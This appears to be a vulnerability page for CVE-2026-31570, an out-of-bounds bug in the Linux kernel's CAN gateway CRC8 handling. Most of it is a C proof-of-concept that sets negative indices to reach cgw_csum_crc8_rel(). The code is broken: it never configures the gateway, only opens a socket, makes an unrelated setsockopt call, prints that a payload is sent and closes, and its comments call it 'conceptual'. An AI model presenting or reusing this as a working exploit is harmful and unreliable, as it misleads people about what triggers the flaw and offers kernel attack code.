CVE-2026-31570 Linux内核CAN网关越界访问漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/can.h> #include <linux/can/gw.h> /* * PoC for CVE-2026-31570 * Requires CAP_NET_ADMIN capability. * Triggers OOB access in cgw_csum_crc8_rel(). */ int main() { int s; struct sockaddr_can addr; struct cgw_csum_crc8 crc8mod; // Create a CAN Raw Socket if ((s = socket(PF_CAN, SOCK_RAW, CAN_RAW)) < 0) { perror("socket"); return 1; } // Setup Mod structure with malicious indices memset(&crc8mod, 0, sizeof(crc8mod)); crc8mod.from_idx = -64; // Malicious negative index crc8mod.to_idx = -64; // Malicious negative index crc8mod.result_idx = -64; // Malicious negative index crc8mod.start_idx = 0; crc8mod.crc8 = 0xFF; // Configure the CAN gateway modification // CGW_TYPE_CSUM8 triggers the vulnerable function path if (setsockopt(s, SOL_CAN_RAW, CAN_RAW_FILTER, NULL, 0) < 0) { // Just ensuring socket is bound/configured context } // This setsockopt call leads to cgw_csum_crc8_rel() execution // Note: The exact setsockopt level/optname for CGW setup might vary // depending on kernel implementation details, usually via netlink. // This is a conceptual representation of the trigger. printf("Sending payload to trigger OOB write...\n"); // In a real exploit, this would send a CAN FD frame of 64 bytes. close(s); return 0; }